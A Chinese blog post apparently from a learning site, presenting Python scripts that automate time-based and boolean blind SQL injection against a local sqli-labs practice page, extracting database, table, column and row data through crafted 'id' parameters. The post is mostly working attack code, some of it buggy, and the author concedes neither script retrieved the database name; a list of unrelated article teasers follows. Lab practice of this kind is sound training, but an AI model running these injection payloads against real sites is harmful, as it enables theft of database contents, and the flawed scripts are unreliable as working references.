sql:时间盲注和boolen盲注
关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全
时间盲注方法
import time
import requests# 获取数据库名
def inject_database(url):dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)res = {"id": payload}start = time.time()r = requests.get(url, params=res)end = time.time()if end-start >= 3:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)# 获取表名
def table_inject(url, dataname):table_name = []index = 0while True:table_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breaktable_name += chr(low)position += 1# if not table_name:# break# table_name.append(table_name)# index +=1return table_name# 获取列名
def colum_inject(url, dataname, table_name):colum_name = []index = 0while True:colum_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end-start >= 3:low = mid + 1else:high = midif low == 32:breakcolum_name += chr(low)position += 1return colum_name# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):data = []index = 0while True:row_data = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breakrow_data += chr(low)position += 1return dataif __name__ == '__main__':url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'dataname = inject_database(url)print(f"database: {dataname}")table_names = table_inject(url, dataname)print(f"table-name: {table_names}")if table_names:table_name = table_names[0]colum_names = colum_inject(url, dataname, table_name)print(f"colum-name: {colum_names}")if colum_names:colum_name = colum_names[0]data = data_inject(url, dataname, table_name, colum_name)print(f"时间盲注 - 具体数据: {data}")
布尔盲注方法
import requests# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):result = ""for pos in range(1, 20):for ascii_val in range(32, 127):payload_true = payload.format(pos, ascii_val)payload_false = payloadfas.format(pos, ascii_val)params_true = {params: payload_true}params_false = {params: payload_false}response_true = requests.get(url, params=params_true)response_false = requests.get(url, params=params_false)if response_true.text != response_false.text:result += chr(ascii_val + 1)breakelse:breakreturn result# 布尔盲注获取数据库名
def get_database_name(url, params):payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "return boolen_inject(url, payload, payloadfas, params)# 布尔盲注获取表名
def table_inject(url, params, database_name):table_names = []index = 0while True:payload = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")table_name = boolen_inject(url, payload, payloadfas, params)if not table_name:breaktable_names.append(table_name)index += 1return table_names# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):column_names = []index = 0while True:payload = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")column_name = boolen_inject(url, payload, payloadfas, params)if not column_name:breakcolumn_names.append(column_name)index += 1return column_names# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):data = []index = 0while True:payload = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- ")row_data = boolen_inject(url, payload, payloadfas, params)if not row_data:breakdata.append(row_data)index += 1return dataif __name__ == '__main__':url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"params = "id"# 获取数据库名database_name = get_database_name(url, params)print(f"database_name: {database_name}")# 获取表名table_names = table_inject(url, params, database_name)print(f"table_name: {table_names}")if table_names:table_name = table_names[0]# 获取列名column_names = column_inject(url, params, database_name, table_name)print(f"column_name: {column_names}")if column_names:column_name = column_names[0]# 获取具体数据data = data_inject(url, params, database_name, table_name, column_name)print(f"data: {data}")

实验结论
但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。
代码本身没有问题。
现在我还没有找到问题所在,后面会抽时间改进。
相关文章:
sql:时间盲注和boolen盲注
关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全 时间盲注方法 import time import requests# 获取数据库名 def inject_database(url):dataname for i in range(1, 20):low 32high 128mid (low high) // 2while low < high:payload &q…...
【STM32】ADC|多通道ADC采集
本次实现的是ADC实现数字信号与模拟信号的转化,数字信号时不连续的,模拟信号是连续的。 1.ADC转化的原理 模拟-数字转换技术使用的是逐次逼近法,使用二分比较的方法来确定电压值 当单片机对应的参考电压为3.3v时,0~ 3.3v(模拟信…...
arcgis for js实现层叠立体效果
在 Web 开发中,利用 ArcGIS for JS 实现一些炫酷的地图效果能够极大地提升用户体验。本文将详细介绍如何使用 ArcGIS for JS 实现层叠立体效果,并展示最终的效果图。 效果图 实现思路 要实现层叠立体效果,关键在于获取边界图形的坐标…...
多模态本地部署和ollama部署Llama-Vision实现视觉问答
文章目录 一、模型介绍二、预期用途1. 视觉问答(VQA)与视觉推理2. 文档视觉问答(DocVQA)3. 图像字幕4. 图像-文本检索5. 视觉接地 三、本地部署1. 下载模型2. 模型大小3. 运行代码 四、ollama部署1. 安装ollama2. 安装 Llama 3.2 Vision 模型3. 运行 Llama 3.2-Vision 五、效果…...
【DeepSeek】deepseek可视化部署
目录 1 -> 前文 2 -> 部署可视化界面 1 -> 前文 【DeepSeek】DeepSeek概述 | 本地部署deepseek 通过前文可以将deepseek部署到本地使用,可是每次都需要winR输入cmd调出命令行进入到命令模式,输入命令ollama run deepseek-r1:latest。体验很…...
【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息
🎁个人主页:我们的五年 🔍系列专栏:Linux网络编程 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 相关笔记: https://blog.csdn.net/dj…...
Fabric.js、leaferjs、pixi.js 库的对比分析
文章目录 一、引言二、参与对比的 canvas 库简介三、性能对比四、易用性对比五、功能特性对比六、综合评价与使用建议七、总结 在前端开发中,canvas 库为实现丰富的图形效果和交互功能提供了强大的支持。本文将对 Fabric.js、leaferjs 和 pixi.js 这三个常见的 canv…...
JVM——堆的回收:引用计数发和可达性分析法、五种对象引用
目录 引用计数法和可达性分析法 引用计数法: 可达性分析算法: 五种对象引用 软引用: 弱引用: 引用计数法和可达性分析法 引用计数法: 引用计数法会为每个对象维护一个引用计数器,当对象被引用时加1&…...
2.11 sqlite3数据库【数据库的相关操作指令、函数】
练习: 将 epoll 服务器 客户端拿来用 客户端:写一个界面,里面有注册登录 服务器:处理注册和登录逻辑,注册的话将注册的账号密码写入数据库,登录的话查询数据库中是否存在账号,并验证密码是否正确…...
开源模型应用落地-Qwen1.5-MoE-A2.7B-Chat与vllm实现推理加速的正确姿势(一)
一、前言 在人工智能技术蓬勃发展的当下,大语言模型的性能与应用不断突破边界,为我们带来前所未有的体验。Qwen1.5-MoE-A2.7B-Chat 作为一款备受瞩目的大语言模型,以其独特的架构和强大的能力,在自然语言处理领域崭露头角。而 vllm 作为高效的推理库,为模型的部署与推理提…...
相得益彰,Mendix AI connector 秒连DeepSeek ,实现研发制造域场景
在当今快速发展的科技领域,低代码一体化平台已成为企业数字化转型的关键工具,同时,大型语言模型(LLM)如 DeepSeek 在自动生成代码和提供智能建议方面表现出色。 Mendix 于近期发布的 GenAI 万能连接器,目前…...
英语笔记【一】词性
一、be 动词 be 动词,是英语中的一种词汇用法,一般用来表示“是”的意思,也可表示“成为”的意思。 be动词的用法有多种变化形式。英语的句子必有一个动词。be 动词自然也是动词的一种。 am 用于第一人称单数;is 第三人称单数&a…...
同为科技智能PDU助力Deepseek人工智能和数据交互的快速发展
1 2025开年,人工智能领域迎来了一场前所未有的变革。Deepseek成为代表“东方力量”的开年王炸,不仅在国内掀起了技术热潮,并且在全球范围内引起了高度关注。Deepseek以颠覆性技术突破和现象级应用场景席卷全球,这不仅重塑了产业格…...
.NET Web-静态文件访问目录浏览
一、Web根目录访问 创建wwwroot文件夹app.UseStaticFiles(); // 启⽤静态⽂件中间件url/路径 进行访问 二、Web根目录之外的文件 app.UseStaticFiles(new StaticFileOptions {FileProvider new PhysicalFileProvider(Path.Combine(builder.Environment.ContentRootPath,&qu…...
redis sentinel模式 与 redis 分片集群 配置
Redis 最低为5.0版本,以下为6.2.6版本信息。 模式 高可用性 数据分片 部署复杂度 适用场景 Sentinel 模式 高 无 中等 中小规模,需要高可用性 集群模式 高 支持 复杂 大规模,需要高…...
CentOS安装Docker,Ubuntu安装Docker,Docker解决方案
文章目录 CentOS7安装DockerUbuntu修改Docker镜像源docker设置容器自动启动启动时加--restartalways如果已经过运行的项目docker compose设置容器自启动 docker file修改时区docker在容器执行命令简单粗暴的办法安装curl docker compose命令安装docker compose Docker WEB 图形…...
【php】php json_encode($arr) 和 json_encode($arr, 320) 有什么区别?
在 PHP 中,json_encode() 函数用于将 PHP 变量(通常是数组或对象)编码为 JSON 格式的字符串。json_encode($arr) 和 json_encode($arr, 320) 的区别主要在于第二个参数,该参数是一个由多个 JSON_* 常量按位或(|&#x…...
【CubeMX+STM32】SD卡 U盘文件系统 USB+FATFS
本篇,将使用CubeMXKeil, 创建一个 USBTF卡存储FatFS 的虚拟U盘读写工程。 目录 一、简述 二、CubeMX 配置 SDIO DMA FatFs USB 三、Keil 编辑代码 四、实验效果 串口助手,实现效果: U盘,识别效果: 一、简述 上…...
node.js+兰空图床实现随机图
之前博客一直用的公共的随机图API,虽然图片的质量都挺不错的,但是稳定性都比较一般,遂打算使用之前部署的兰空图床,自己弄一个随机图 本文章服务器操作基于雨云——新一代云服务提供商的云服务器进行操作,有兴趣的话可…...
【xdoj离散数学上机】T283
递归函数易错: 防止出现递归死循环! 题目 题目:求诱导出的等价关系的关系矩阵 问题描述 给定有限集合上二元关系的关系矩阵,求由其诱导出的等价关系的关系矩阵。 输入格式 第一行输入n,表示矩阵为n阶方阵,…...
缓存机制与 Redis 在高性能系统中的应用
引言 随着互联网应用日益增长,用户对系统的响应速度和稳定性提出了更高的要求。在高并发、大流量的场景下,数据库的读取压力会急剧上升,导致数据库的响应速度变慢,甚至引发性能瓶颈。为了缓解这一问题,缓存机制成为了…...
C++之2048小游戏 第二期
不是,一天点赞就到15了?!好吧,那我更新一下 1. 逻辑 (真的有人会看吗?) 注:本文1.1章为AI生成,如有错误欢迎在评论其指出! 1.1 普通/最初逻辑 这里我们首…...
DeepSeek AI 满血版功能集成到WPS或Microsoft Office中
DeepSeek AI集成到 WPS或Microsoft Office中, 由于deepseek被攻击或者非常繁忙导致超时的服务器,所以可以用硅基流动部署的DeepSeek 。当然用官网的也可以。 使用 OfficeAI 插件集成(wps为例): 下载并安装 OfficeAI 插件:从可靠的软件下载平台…...
微服务SpringCloud Alibaba组件nacos教程(一)【详解naocs基础使用、服务中心配置、集群配置,附有案例+示例代码】
一.Nacos教程 文章目录 一.Nacos教程1.1 Nacos简介1.2 nacos基本使用直接下载打包服务源码方式启动 1.3 创建nacos客服端1.4 nacos集群配置1.5 nacos配置中心 1.1 Nacos简介 nacos是spring cloud alibaba生态中非常重要的一个组件,它有两个作用: 1:注册…...
2017年上半年软件设计师上午真题知识点整理(附试卷及答案)
以下是2017年上半年软件设计师上午真题的知识点分类整理,涉及定义的详细解释,供背诵记忆。 1. 计算机组成原理 CPU与存储器的访问。 Cache的作用: 提高CPU访问主存数据的速度,减少访问延迟。存储器的层次结构: 包括寄存器、Cache、主存和辅存…...
【MySQL】基础篇
1. MySQL中的NULL值是怎么存放的? MySQL的compact行格式中会用【NULL值列表】来标记值为NULL的列,NULL值不会存储在行格式中的真实数据部分。 NULL值列表会占用1字节空间,当表中所有字段都被定义成NOT NULL,行格式中就不会有NULL值…...
Kotlin 扩展函数与内联函数
Kotlin扩展函数 Kotlin 的扩展函数是 Kotlin 中非常强大且实用的功能。它允许你为现有的类添加新的方法,而不需要修改其源代码。这意味着你可以在已有的类上“扩展”新的功能,使用起来就像是原本就存在这些方法一样。 扩展函数的基本语法 fun 类名.方…...
uniapp中对于文件和文件夹的处理,内存的查询
目录 移动文件到指定文件夹 新增本地文件夹 设定本地文件过期时间,清除超时文件,释放内存 操作本地文件之----删除 uniapp获取设备剩余存储空间的方法 读取本地文件夹下的文件 移动文件到指定文件夹 function moveTempFile(tempFilePath, targetFo…...
【Android开发】安卓手机APP使用机器学习进行QR二维码识别(完整工程资料源码)
前言:本项目是一个 Android 平台的二维码扫描应用,具备二维码扫描和信息展示功能。借助 AndroidX CameraX 库实现相机的预览、图像捕获与分析,使用 Google ML Kit 进行二维码识别。为方便大家了解项目全貌,以下将介绍项目核心代码文件 MainActivity.java 和 AndroidManifes…...
企业文件防泄密软件哪个好?
在企业文件防泄密软件领域,天锐绿盾和中科数安都是备受认可的品牌,它们各自具有独特的特点和优势。 以下是对这两款软件的详细比较: 天锐绿盾 功能特点 集成性强:集成了文件加密、数据泄露防护DLP、终端安全管理、行为审计等数据安…...

